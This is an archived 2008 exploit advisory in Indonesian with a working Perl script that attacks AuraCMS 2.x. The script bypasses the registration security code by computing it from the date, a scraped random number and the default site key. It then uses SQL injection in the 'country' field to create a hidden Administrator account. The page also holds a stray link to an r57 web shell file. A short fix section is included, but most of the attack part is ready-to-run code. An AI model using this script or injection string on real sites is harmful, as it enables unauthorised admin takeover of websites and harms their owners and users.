Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19541
HistoryApr 01, 2008 - 12:00 a.m.

AuraCMS 2.x (user.php) - Security Code Bypass & Add Administrator Exploit

2008-04-0100:00:00
vulners.com
17

#!/usr/bin/perl

Indonesian Newhack Security Advisory

------------------------------------

AuraCMS 2.x (user.php) - Security Code Bypass & Add Administrator Exploit

Waktu : Feb 28 2008 08:00PM

Software : AuraCMS

Versi : 2.0

2.1

2.2.1

http://www.r57shell.in/r57.txt?

------------------------------------

Audit Oleh : NTOS-Team

Lokasi : Indonesia | http://newhack.org

Penjelasan :

Kutu pada berkas "user.php" direktori "/content"

#—//—

59. if (!$nama || preg_match("/[^a-zA-Z0-9_-]/", $nama)) $error .= "Karakter Username tidak diizinkan kecuali

a-z,A-Z,0-9,-, dan _<br />";

60. if (strlen($nama) > 10) $error .= "Username Terlalu Panjang Maksimal 10 Karakter<br />";

61. if (strrpos($nama, " ") > 0) $error .= "Username Tidak Boleh Menggunakan Spasi";

62. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT user FROM useraura WHERE user='$nama'")) > 0) $error .=

"Error: Username ".$nama." sudah terdaftar , silahkan ulangi.<br />";

63. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT user FROM temp_useraura WHERE user='$nama'")) > 0)

$error .= "Error: Username ".$nama." sudah terdaftar , silahkan ulangi.<br />";

64. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT email FROM useraura WHERE email='$email'")) > 0) $error

.= "Error: Email ".$email." sudah terdaftar , silahkan ulangi.<br />";

65. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT email FROM temp_useraura WHERE email='$email'")) > 0)

$error .= "Error: Email ".$email." sudah terdaftar , silahkan ulangi.<br />";

66. if (!nama) $error .= "Error: Formulir Nama belum diisi , silahkan ulangi.<br />";

67. if ($cekperaturan != "1") $error .= "You should be agree with rules and conditions of use!<br />";

68. if (!nama) $error .= "Error: Formulir Nama belum diisi , silahkan ulangi.<br />";

69. if (!password) $error .= "Error: Formulir Password belum diisi , silahkan ulangi.<br />";

70. if ($password != $rpassword) $error .= "Password and Retype Password Not Macth.<br />";

71. if (!country) $error .= "Error: Formulir Negara belum diisi , silahkan ulangi.<br />";

72. checkemail($email);

73. $code = substr(hexdec(md5("".date("F j")."".$_POST['random_num']."".$sitekey."")), 2, 6);

74. if (extension_loaded("gd") AND $code != $_POST['gfx_check']) $error .= "Error: Security Code Invalid<br />";

75.

76.

77. if ($error){

78. $tengah .='<table width="100%" border="0" cellspacing="0" cellpadding="0" class="middle"><tr><td><table

width="100%" class="bodyline"><tr><td align="left"><img src="images/warning.gif" border="0"></td><td align="center"><font
class="option">'.$error.'</font></td><td align="right"><img src="images/warning.gif"
border="0"></td></tr></table></td></tr></table>';

79. }else{

80. $hasil1 = $koneksi_db->sql_query("INSERT INTO useraura (user, email, password , level, tipe,

negara)VALUES('$nama', '$email', '$password','User','aktif', '$country')" );

—//—

=> Security Code Bypass

baris 73 - 74 kode yang menarik,kita coba belah perlahan 2 baris ini

$sitekey sudah terdifinisi di dalam berkas "config.php" direktori "includes"

$_POST['random_num'] nilai acak yang dikirim melalui Form isian registrasi User secara hiden [bukan hasil isian User]

$_POST['gfx_check'] nilai yang dikirim oleh USER melalui Form isian register User mengenai Security Code

dan selengkap nya dapat di baca pada http://ezine.echo.or.id/ezine18/e18.005.txt

=> Add Administrator [INSERT Metode]

baik… kita sudah bisa membypass sekuriti kode, sekarang buat admin baru di site target :p

baris 71. variabel "country" jika tidak diisi hasil nya $error, namun sayang hanya sebatas itu saja aturannya :(

kita lihat pada baris 80. VALUES('$nama', '$email', '$password','User','aktif', '$country') kembali disini tidak ada

penyaringan

apa yang kamu pikirkan… mmm… menarik… nakal… jahat… tapi INDAH bukan… ;)

ya… bagaimana kalo kami berpikir seperti ini ;

VALUES('$nama', '$email', '$password','User','aktif', 'Indonesia['),('Attacker', '[email protected]', 'MD5_Pass',

'Administrator', 'aktif', 'Undergr0und]')" );

baru ini namanya p0rn0c0d3…,

satu sesi register 2 user yang di buat, pertama user yang sesuai isian form, yang kedua adalah User dengan

Administrator hasil keNAKALan User :D

terima kasih untuk author http://www.milw0rm.com/papers/149

=> Perbaikan Sederhana

1. Security Code

Ganti dengan Captcha yang berdasarkan session, dan cari Captcha yang tidak mudah dibaca OCR

2. Add Administrator

Ganti Kode baris 71. pada berkas "user.php" dengan ;

—//—

71. if (!$country || preg_match("/[^a-zA-Z]/", $country)) $error .= "Error: Formulir Negara belum diisi , silahkan

ulangi.<br />";

—//—

=> Perhatian!

"Exploit ini dibuat untuk pembelajaran, pengetesan dan pembuktian dari apa yang kami pelajari"

Segala penyalahgunaan dan kerusakan yang diakibat dari exploit ini bukan tanggung jawab kami

=>Newhack Technology, OpenSource & Security

~ NTOS-Team->[fl3xu5,opt1lc] ~

use Digest::MD5 qw(md5_hex);
use LWP::UserAgent;
use Getopt::Long;
no warnings;

if(!$ARGV[1]) {
print "\n |--------------------------------------------------|";
print "\n | Indonesian Newhack Technology |";
print "\n |--------------------------------------------------|";
print "\n | AuraCMS <= 2.2.1 (user.php) |";
print "\n | 1.Security Code Bypass |";
print "\n | 2.Add Administrator |";
print "\n | Coded by NTOS-Team |";
print "\n |--------------------------------------------------|";
print "\n | exploit berhasil jika magic_quotes_gpc = off";
print "\n[!] Penggunaan : ";
print "\n[>] perl auracms-user.pl [Site] [Path] ";
print "\n ";
print "\n[!] Contoh : ";
print "\n[>] perl auracms-user.pl localhost /auracms2x/";
print "\n ";
print "\n";
exit;
}
$host = $ARGV[0];
$path = $ARGV[1];
$injek = "Indonesia'),('t4mugel4p', 'gelap\@banget.gitu',
'213aa1379cce2862538be1c046319684','Administrator','aktif', 'DuniaGelap";
@namabulan = qw(January February March April May June July August September October November December);
$sitekey = "x1a1MhphAur4kea7V3Rs820dweOwxIw4n3UgSusyM4nt04"; #defaul sitekey dari config.php
$tgl = (localtime)[3];
$bln = (localtime)[4];
$bulan = $namabulan[$bln];
$date = "$bulan $tgl";

Breaking Security Code Auracms 2.x

$browser = LWP::UserAgent->new() or die();
$getgfx = $browser -> get("http://".$host.$path."?pilih=user&aksi=register",);
$get = $getgfx -> content;
if ($get =~ /random_num" value="(.*?)"><\/td>/) {
$randnum = $1;
}
$gfx = substr(hex(md5_hex($date.$randnum.$sitekey)), 2, 6);

Proses Add Administrator

$browser = LWP::UserAgent->new() or die();
$postingkomen = $browser -> post(
"http://".$host.$path."?pilih=user&aksi=register",
[
"nama"=>"t1pu4n",
"email"=>"k3tipu\@nie.yea",
"password"=>"terimakasih",
"rpassword"=>"terimakasih",
"country"=>$injek,
"gfx_check"=>$gfx,
"random_num"=>$randnum,
"cekperaturan"=>"1",
"submit"=>"Submit",
],
);
$komen = $postingkomen -> content;
if ($komen =~ />Please Login With Your Username and Your Password</) {
print "[+]Sukses Register User\n";
print "[+]Silahkan dicoba login\n";
print "[+]Username : t4mugel4p\n";
print "[+]Password : t4mugel4p\n";
exit();}
if ($komen =~ />Error/) {
print "[!]Terjadi Kesalahan Pada Proses Register\n";
exit();}
print $komen;
print "[!]\n Exploit Gagal!!! ;)\n";